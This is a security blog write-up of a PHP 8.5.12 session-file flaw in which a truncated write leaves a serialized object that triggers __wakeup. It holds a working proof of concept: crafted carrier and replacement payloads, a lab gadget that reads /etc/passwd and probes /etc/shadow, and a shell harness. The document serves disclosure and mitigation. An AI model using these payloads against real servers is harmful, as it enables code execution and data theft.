maborak.com~/blog/cve-2026-126714-php-session-rcesoftware & infrastructure engineering
Back to all articles

phpAfterShell: a cut session write runs a gadget

Overview

PHP 8.5.12 keeps the old session tail after a cut write; our HTTP lab runs a gadget as uid 33 that reads a planted /etc/passwd line and is denied /etc/shadow.

PHP 8.5.12 kept the tail of an old session file after a cut write, and the next request ran the __wakeup method of a class we added to the application. The callback ran as the web user: /etc/shadow returned Permission denied, uid 33, and the maborak line we planted in /etc/passwd came back in the response. On 8.5.13 the same requests left no tail and no call. The evil key decodes only when the cut lands on the record boundary. One byte later the same object arrives as bvil and still fires.

Checked 20 November 2026.

Background

PHP published 8.2.36, 8.3.37, 8.4.28, 8.5.13 and 8.6.0 on 19 November 2026. The 8.5.13 ChangeLog (opens in a new tab) lists 18 CVE entries, seven of them rated critical at 9.2. phpAfterShell is CVE-2026-126714, GHSA-fm2m-fjf5-v3cp (opens in a new tab), also rated 9.2.

The release arrives a month after PHP2Shell, CVE-2026-109618 and CVE-2026-109619, fixed on 21 October in 8.5.12, 8.4.27, 8.3.36 and 8.2.35. CISA added both to the KEV catalog (opens in a new tab) on 26 October. Check Point Research (opens in a new tab) documented a campaign from 30 October that used PHP2Shell against Security Gateways with exposed Mobile Access portals, escalated through CVE-2026-123039 and reached VMware ESXi hosts over SSH.

The October patch stopped objects from becoming active during the RFC1867 upload-progress callback, which runs while PHP parses a multipart body. It did not change how the files handler updates the session file. depthfirst went back to that callback and asked what the file holds when the worker dies mid-write. The same release closes CVE-2026-115560, the session serializer mismatch PHP announced (opens in a new tab) on 23 October.

Mechanics

PHP’s default files handler stores each session as sess_<id> under session.save_path, and the default php serializer writes key|serialized_value records with no file-level length, checksum or commit marker. The decoder reads a key up to |, hands the following bytes to the unserializer, then starts the next key at the first byte after that value.

ps_files_write() updates the file in place. In 8.5.12 it truncates to zero only when the replacement is shorter than the size cached at open, then writes the whole value at offset 0:

/* ext/session/mod_files.c, 8.5.12 */
if (ZSTR_LEN(val) < data->st_size) {
    php_ignore_value(ftruncate(data->fd, 0));
}
n = pwrite(data->fd, ZSTR_VAL(val), ZSTR_LEN(val), 0);
if (n != ZSTR_LEN(val)) {
    return FAILURE;
}

pwrite() copies into the page cache before it returns, and a worker killed during that copy leaves the bytes written so far in the inode. PHP’s exclusive flock() keeps other workers out. It does not roll back bytes. A kill can interrupt the copy between pages, so it tends to stop on a 4,096-byte boundary. Our geometry puts the record boundary on 8,192. depthfirst’s write-up uses an OOM kill for that interruption, and we used RLIMIT_FSIZE to stop the same write at a chosen byte.

The serializer’s length fields decide what those bytes mean. A serialized object inside a string is data. The same bytes at a record boundary are an object. We put the object inside a carrier session and ended the replacement’s first record at the object’s offset:

C:   c|s:8211:"AAAA…8182 bytes…evil|O:6:"Marker":0:{}x|s:0:"";
R:   a|s:8180:"BBBB…8180 bytes…";b|s:400:"…";
cut: a|s:8180:"BBBB…";evil|O:6:"Marker":0:{}x|s:0:"";

After the cut, the decoder finishes the a record at byte 8,192, reads evil| as a new key and unserializes the object. When the class defines __wakeup, that method runs inside session_start() before the application’s next line. The trailing x|s:0:""; consumes the carrier’s own closing quote and semicolon, so the file ends on a complete record. The pad is computed from the offset, so the boundary is chosen rather than found. The carrier alone and the replacement alone both leave $_SESSION['evil'] unset. Only the mixed file creates an object.

This path needs no object during the callback: the mixed file waits on disk until an ordinary session_start() reads it. depthfirst continues from that object into a native class memory-corruption chain. It withheld the decoder and heap layout. Our probe uses a class we wrote instead.

8.5.13 truncates the file to zero before every write and aborts if truncation fails:

/* ext/session/mod_files.c, 8.5.13 */
if (ftruncate(data->fd, 0) != 0) {
    php_error_docref(NULL, E_WARNING, "ftruncate() failed: %s (%d)", strerror(errno), errno);
    return FAILURE;
}
n = pwrite(data->fd, ZSTR_VAL(val), ZSTR_LEN(val), 0);

A short write can still lose session data, but the old tail is gone before the first new byte lands. We diffed ext/session/mod_files.c in each release tarball: the unconditional ftruncate() is in 8.2.36, 8.3.37, 8.4.28, 8.5.13 and 8.6.0, and absent from 8.2.35, 8.3.36, 8.4.27 and 8.5.12.

Impact

Reachability starts from the default: session.save_handler is files and session.serialize_handler is php unless a deployment changes them. The advisory lists three requirements for code execution: influence over session data, an interruption at a useful point in the write, and an application gadget chain. Our HTTP probe supplies the first through an application route, the second with a write limit we set on the worker from outside the application, and the third with a class we wrote. The file bug is PHP’s own write path; we reproduced it on the released images without modifying PHP.

The victim is the application. It executes code from a file it wrote itself, with the privileges of its worker.

Check Exposed when
Build 8.2.0 to 8.2.35, 8.3.0 to 8.3.36, 8.4.0 to 8.4.27, 8.5.0 to 8.5.12, 8.6.0 RC1 to RC3 (opens in a new tab)
Handler session.save_handler=files, the default
Influence upload progress, or attacker-controlled strings stored in the session
Interruption the worker stops during the session write
Gadget a class or library with __wakeup, __destruct or a comparable callback

The attack in four requests:

ATTACKER                                  THE APPLICATION (the victim)
1  GET /                    -> session id PHP creates sess_<id>
2  POST notes[c]=<carrier>  -> save       file: c|s:8211:"…evil|O:6:"Marker":0:{}x|s:0:"";
3  POST notes[a],notes[b]   -> save      worker stops mid-write
                                          file: a|s:8180:"…";evil|O:6:"Marker":0:{}x|s:0:"";
4  GET / (same session)     -> page view session_start() runs __wakeup as uid 33

Two things the diagram cannot show: the attacker needs a field the application keeps in $_SESSION, and the session in step 4 is the attacker’s own. The limit clips the write at a chosen byte, which is where a memory-pressure kill would have stopped the worker. The gadget runs as that worker, so it can read what the worker can read: session files in the same save path, and any configuration file owned by the web user.

Upload progress supplies the influence without an application route. In the vulnerable builds the feature is on by default, and PHP writes progress into the session while parsing a multipart request that carries a PHP_SESSION_UPLOAD_PROGRESS field. An application that stores large user-controlled strings in $_SESSION gives the same handle, the advisory says.

Every fixed release we checked sets the default to 0 in ext/session/session.c (opens in a new tab), including 8.2.36, 8.3.37 and 8.4.28.

A target without a usable gadget does not reach code execution through this file bug, though the same write can still corrupt session state. Our gadget reads /etc/passwd and stops at /etc/shadow. It is not the native chain depthfirst withheld. On 20 November we found no report of exploitation in the wild and no public exploit. The CVE was not in CISA’s KEV catalog.

Probe

We ran php:8.5.12-apache and php:8.5.13-apache from Docker Hub under Docker 29.5.2 on an arm64 macOS host, recorded by digest in the output below. Both use Apache with mod_php and run the worker as uid 33. The lab application is the target: it keeps a Marker class, stores posted values as its session state, and reads the session back on every view. The lab pins the session id to probe. The application contains no limit of its own. One long value plus any second key is enough; this app stores whatever is posted, so there is no field to discover. The corrupted session is the attacker’s own, so the gadget fires on the attacker’s next page view. No victim is needed.

The carrier and the replacement are POST bodies. The application stores them, and PHP’s own session writer produces the file. The interruption is the lab’s stand-in: after the carrier write, we set RLIMIT_FSIZE on the running Apache processes with prlimit, which needs SYS_RESOURCE on the lab container. The capability is used by the docker exec that runs prlimit. The Apache workers carry none. prlimit sets soft and hard limits and does not lift them, so the driver recreates the container for every cut. depthfirst’s remote version kills the worker with memory pressure. The file state at a stop on 8,192 is the same.

<?php
// The lab application: a notes page that keeps its state in the session.
class Marker
{
    public function __wakeup(): void
    {
        $line = 'absent';
        foreach (file('/etc/passwd', FILE_IGNORE_NEW_LINES) as $l) {
            if (str_starts_with($l, 'maborak:')) {
                $line = $l;
                break;
            }
        }
        echo 'PASSWD ' . $line . PHP_EOL;
        $shadow = @file_get_contents('/etc/shadow');
        if ($shadow === false) {
            $msg = error_get_last()['message'] ?? 'failed';
            echo 'SHADOW ' . preg_replace('/^.*: /s', '', $msg) . PHP_EOL;
        } else {
            echo 'SHADOW read ' . strlen($shadow) . ' bytes' . PHP_EOL;
        }
        echo 'UID ' . posix_geteuid() . PHP_EOL;
    }
}

ini_set('session.save_path', '/tmp');
ini_set('session.serialize_handler', 'php');
ini_set('session.cache_limiter', '');
ini_set('display_errors', '0');
session_id('probe');

if (isset($_POST['notes'])) {
    // Save action: the session state becomes the posted notes.
    session_start();
    $_SESSION = $_POST['notes'];
    session_write_close();
    echo 'saved' . PHP_EOL;
} else {
    // Every page view reads the session back.
    $ok = session_start();
    $keys = array_keys($_SESSION);
    sort($keys);
    $v = $_SESSION['evil'] ?? null;
    echo 'start=' . ($ok ? '1' : '0') . PHP_EOL;
    echo 'keys=' . ($keys ? implode(',', $keys) : 'none');
    echo ' evil=' . ($v === null ? 'absent' : get_debug_type($v)) . PHP_EOL;
}
#!/bin/sh
# The attacker sends HTTP only: the payloads are POST bodies.
# The operator sets RLIMIT_FSIZE on the running Apache processes after the
# carrier write; that is the lab stand-in for the memory-pressure kill.
set -eu
url=http://127.0.0.1:8081/session.php

for img in php:8.5.12-apache php:8.5.13-apache; do
  name=php$(echo "$img" | tr -cd '0-9')
  docker rm -f "$name" >/dev/null 2>&1 || true
  docker run -d --rm --name "$name" -p 127.0.0.1:8081:80 \
    -v "$PWD:/var/www/html" --cap-add SYS_RESOURCE "$img" >/dev/null
  for i in $(seq 1 40); do
    curl -sS -o /dev/null "$url" 2>/dev/null && break
    sleep 0.5
  done
  docker exec "$name" useradd -c "maborak-proof" -m -s /bin/bash maborak

  # The attacker builds both payloads offline; PHP URL-encodes them here.
  cbody=$(docker exec "$name" php -r 'echo "notes[c]=" . urlencode(str_repeat("A",8182) . "evil|O:6:\"Marker\":0:{}" . "x|s:0:\"");')
  rbody=$(docker exec "$name" php -r 'echo "notes[a]=" . urlencode(str_repeat("B",8180)) . "&notes[b]=" . urlencode(str_repeat("B",400));')

  echo "=== $img"
  curl -sS -o /dev/null --data "$cbody" "$url"
  printf "carrier-only: bytes=%s " "$(docker exec "$name" stat -c%s /tmp/sess_probe)"
  curl -sS "$url"
  curl -sS -o /dev/null --data "$cbody" "$url"
  curl -sS -o /dev/null --data "$rbody" "$url"
  printf "replacement-only: bytes=%s " "$(docker exec "$name" stat -c%s /tmp/sess_probe)"
  curl -sS "$url"

  for C in 8190 8191 8192 8193 8194; do
    docker rm -f "$name" >/dev/null 2>&1 || true
    docker run -d --rm --name "$name" -p 127.0.0.1:8081:80 \
      -v "$PWD:/var/www/html" --cap-add SYS_RESOURCE "$img" >/dev/null
    for i in $(seq 1 40); do
      curl -sS -o /dev/null "$url" 2>/dev/null && break
      sleep 0.5
    done
    docker exec "$name" useradd -c "maborak-proof" -m -s /bin/bash maborak
    curl -sS -o /dev/null --data "$cbody" "$url"
    docker exec "$name" sh -c "for p in \$(pgrep apache2); do prlimit --fsize=$C --pid \$p; done"
    curl -sS -o /dev/null --data "$rbody" "$url"
    printf "cut=%s: bytes=%s " "$C" "$(docker exec "$name" stat -c%s /tmp/sess_probe)"
    curl -sS "$url"
  done
  docker rm -f "$name" >/dev/null
done
Probe output: two images, cut swept one byte around 8,192 (bytes = file size after the write)
images
  php:8.5.12-apache  sha256:08af36df144462d84c7f16190557eec06cb9f656882685610b712a15eec54d46
  php:8.5.13-apache  sha256:f0c9ecc7b9e805cd37e1d9f385c78e8edd7766f62bce280b8c34370c3e8e6697

=== php:8.5.12-apache
carrier-only: bytes=8223 start=1
keys=c evil=absent
replacement-only: bytes=8603 start=1
keys=a,b evil=absent
cut=8190: bytes=8223 start=0
keys=none evil=absent
cut=8191: bytes=8223 start=0
keys=none evil=absent
cut=8192: bytes=8223 PASSWD maborak:x:1000:1000:maborak-proof:/home/maborak:/bin/bash
SHADOW Permission denied
UID 33
start=1
keys=a,evil,x evil=Marker
cut=8193: bytes=8223 PASSWD maborak:x:1000:1000:maborak-proof:/home/maborak:/bin/bash
SHADOW Permission denied
UID 33
start=1
keys=a,bvil,x evil=absent
cut=8194: bytes=8223 start=0
keys=none evil=absent
=== php:8.5.13-apache
carrier-only: bytes=8223 start=1
keys=c evil=absent
replacement-only: bytes=8603 start=1
keys=a,b evil=absent
cut=8190: bytes=8190 start=0
keys=none evil=absent
cut=8191: bytes=8191 start=0
keys=none evil=absent
cut=8192: bytes=8192 start=1
keys=a evil=absent
cut=8193: bytes=8193 start=0
keys=none evil=absent
cut=8194: bytes=8194 start=0
keys=none evil=absent

At 8,192 the parser finishes the a record and promotes evil. At 8,193 it promotes bvil. The __wakeup call fires at both cuts because the object drives it, not the key name. At 8,190, 8,191 and 8,194 session_start() returns 0, so the file does not decode.

Three runs of the attacker-only harness at 8,192 gave the same response. The uid is the worker’s effective uid from posix_geteuid(), and /etc/shadow is 0640 root:shadow, so the read stops at /etc/passwd. We added maborak to both containers so the read returns a known string. /etc/passwd is world-readable.

The 8,193 row needs a byte-level write limit. A page-granular kill has to land on 8,192.

The influence in this harness is the application-stored-strings path. Upload progress is the advisory’s unauthenticated route. We did not exercise it.

Mitigation

Patch to 8.2.36, 8.3.37, 8.4.28, 8.5.13 or 8.6.0. PHP 8.2 reaches end of life on 31 December 2026, so a jump to 8.3 or later has a longer support window. Debian’s security archive carries 8.4.28-1deb13u1 for trixie (DSA-6641-1) and 8.2.36-1deb12u1 for bookworm (DLA-4916-1). Sid still had 8.4.27-1 (opens in a new tab) when we checked on 20 November.

If the patch has to wait, set session.upload_progress.enabled=0 in php.ini or the FPM pool, then restart every worker. The setting is INI_PERDIR, so ini_set() in application code is too late, and a reload leaves the old workers serving the old value. This closes the upload-progress input path. An application that stores attacker-controlled strings in sessions still needs to stop doing that, or move to a store that replaces records atomically.

Verification

php -v reads the binary on disk. The serving process can still be the old build after a package upgrade and a reload. On Linux, compare the executable the worker runs with the installed file:

PID=$(pgrep -f 'php-fpm: pool www' | head -n 1)
sudo readlink "/proc/$PID/exe"
sudo sha256sum "/proc/$PID/exe" "$(command -v php-fpm)"

Then ask the web SAPI, not the CLI, for the setting and the version. A temporary route that prints PHP_VERSION and ini_get('session.upload_progress.enabled') answers both in one request. Remove it after the check. A reload does not replace the binary, so restart FPM and confirm the process start time is newer than the package install.

Sources

Back to all articles

Technologies we work with

  • Argo CD
  • Kubernetes
  • Docker
  • Podman
  • Ansible
  • Jenkins
  • Chef
  • Proxmox VE
  • Google Cloud
  • Linux
  • Red Hat
  • CentOS
  • NGINX
  • Apache
  • Traefik
  • Prometheus
  • Grafana
  • PostgreSQL
  • MySQL
  • MariaDB
  • Redis
  • etcd
  • Qdrant
  • Elasticsearch
  • Logstash
  • Kibana
  • PagerDuty
  • Go
  • Python
  • FastAPI
  • PHP
  • TypeScript
  • React